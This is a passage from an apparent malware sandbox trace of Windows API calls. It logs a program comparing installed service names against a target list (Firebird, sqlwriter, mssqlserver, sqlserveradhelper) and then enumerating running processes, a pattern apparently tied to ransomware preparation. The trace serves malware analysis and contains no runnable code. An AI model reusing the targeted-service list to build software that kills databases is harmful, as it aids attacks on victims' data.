(lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0068.828] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0068.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0068.829] lstrlenW (lpString="LanmanWorkstation") returned 17 [0068.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0068.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0068.829] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0068.829] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0068.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0068.829] lstrlenW (lpString="lfsvc") returned 5 [0068.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0068.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0068.829] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0068.829] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0068.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0068.829] lstrlenW (lpString="lmhosts") returned 7 [0068.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0068.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0068.829] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0068.829] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0068.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0068.829] lstrlenW (lpString="LSM") returned 3 [0068.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0068.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0068.829] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0068.829] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0068.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0068.829] lstrlenW (lpString="MapsBroker") returned 10 [0068.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0068.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0068.830] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0068.830] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0068.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0068.830] lstrlenW (lpString="MpsSvc") returned 6 [0068.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0068.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0068.830] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0068.830] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0068.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0068.830] lstrlenW (lpString="NcbService") returned 10 [0068.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0068.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0068.830] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0068.830] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0068.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0068.830] lstrlenW (lpString="netprofm") returned 8 [0068.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0068.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0068.830] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0068.830] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0068.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0068.830] lstrlenW (lpString="NlaSvc") returned 6 [0068.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0068.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0068.830] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0068.830] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0068.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0068.830] lstrlenW (lpString="nsi") returned 3 [0068.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0068.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0068.831] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0068.831] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0068.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0068.831] lstrlenW (lpString="PcaSvc") returned 6 [0068.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0068.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0068.831] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0068.831] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0068.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0068.831] lstrlenW (lpString="PlugPlay") returned 8 [0068.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0068.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0068.831] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0068.831] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0068.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0068.831] lstrlenW (lpString="Power") returned 5 [0068.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0068.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0068.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0068.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0068.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0068.831] lstrlenW (lpString="ProfSvc") returned 7 [0068.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0068.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0068.831] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0068.831] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0068.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0068.832] lstrlenW (lpString="RpcEptMapper") returned 12 [0068.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0068.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0068.832] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0068.832] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0068.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0068.832] lstrlenW (lpString="RpcSs") returned 5 [0068.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0068.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0068.832] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0068.832] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0068.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0068.832] lstrlenW (lpString="SamSs") returned 5 [0068.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0068.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0068.832] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0068.832] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0068.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0068.832] lstrlenW (lpString="Schedule") returned 8 [0068.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0068.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0068.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0068.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0068.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0068.832] lstrlenW (lpString="SecurityHealthService") returned 21 [0068.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0068.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0068.832] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0068.832] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0068.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0068.833] lstrlenW (lpString="SENS") returned 4 [0068.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0068.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0068.833] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0068.833] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0068.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0068.833] lstrlenW (lpString="ShellHWDetection") returned 16 [0068.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0068.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0068.833] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0068.833] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0068.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0068.833] lstrlenW (lpString="Spooler") returned 7 [0068.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0068.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0068.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0068.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0068.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0068.833] lstrlenW (lpString="SSDPSRV") returned 7 [0068.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0068.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0068.833] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0068.833] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0068.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0068.833] lstrlenW (lpString="StateRepository") returned 15 [0068.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0068.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0068.834] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0068.834] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0068.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0068.834] lstrlenW (lpString="SysMain") returned 7 [0068.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0068.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0068.834] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0068.834] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0068.834] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eeba98 | out: hHeap=0x490000) returned 1 [0068.834] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0069.412] Process32FirstW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.412] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0069.413] lstrlenW (lpString="System") returned 6 [0069.413] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0069.413] lstrlenW (lpString="smss.exe") returned 8 [0069.413] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.414] lstrlenW (lpString="csrss.exe") returned 9 [0069.414] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0069.414] lstrlenW (lpString="wininit.exe") returned 11 [0069.415] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.415] lstrlenW (lpString="csrss.exe") returned 9 [0069.415] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0069.416] lstrlenW (lpString="winlogon.exe") returned 12 [0069.416] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0069.416] lstrlenW (lpString="services.exe") returned 12 [0069.416] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0069.417] lstrlenW (lpString="lsass.exe") returned 9 [0069.417] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.417] lstrlenW (lpString="svchost.exe") returned 11 [0069.417] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0069.418] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0069.418] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0069.418] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0069.418] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.419] lstrlenW (lpString="svchost.exe") returned 11 [0069.419] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0069.419] lstrlenW (lpString="dwm.exe") returned 7 [0069.419] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.420] lstrlenW (lpString="svchost.exe") returned 11 [0069.420] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.420] lstrlenW (lpString="svchost.exe") returned 11 [0069.420] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.421] lstrlenW (lpString="svchost.exe") returned 11 [0069.421] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.421] lstrlenW (lpString="svchost.exe") returned 11 [0069.422] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.422] lstrlenW (lpString="svchost.exe") returned 11 [0069.422] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.422] lstrlenW (lpString="svchost.exe") returned 11 [0069.423] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.423] lstrlenW (lpString="svchost.exe") returned 11 [0069.423] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.424] lstrlenW (lpString="svchost.exe") returned 11 [0069.424] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.424] lstrlenW (lpString="svchost.exe") returned 11 [0069.424] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.425] lstrlenW (lpString="svchost.exe") returned 11 [0069.425] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0069.425] lstrlenW (lpString="spoolsv.exe") returned 11 [0069.425] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.426] lstrlenW (lpString="svchost.exe") returned 11 [0069.426] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0069.426] lstrlenW (lpString="audiodg.exe") returned 11 [0069.426] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0069.427] lstrlenW (lpString="sihost.exe") returned 10 [0069.427] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.427] lstrlenW (lpString="svchost.exe") returned 11 [0069.427] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0069.428] lstrlenW (lpString="taskhostw.exe") returned 13 [0069.428] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0069.428] lstrlenW (lpString="explorer.exe") returned 12 [0069.428] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0069.429] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0069.429] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0069.429] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0069.429] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0069.430] lstrlenW (lpString="Memory Compression") returned 18 [0069.430] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0069.430] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0069.430] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0069.431] lstrlenW (lpString="SearchUI.exe") returned 12 [0069.431] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0069.431] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0069.431] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0069.432] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0069.432] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, 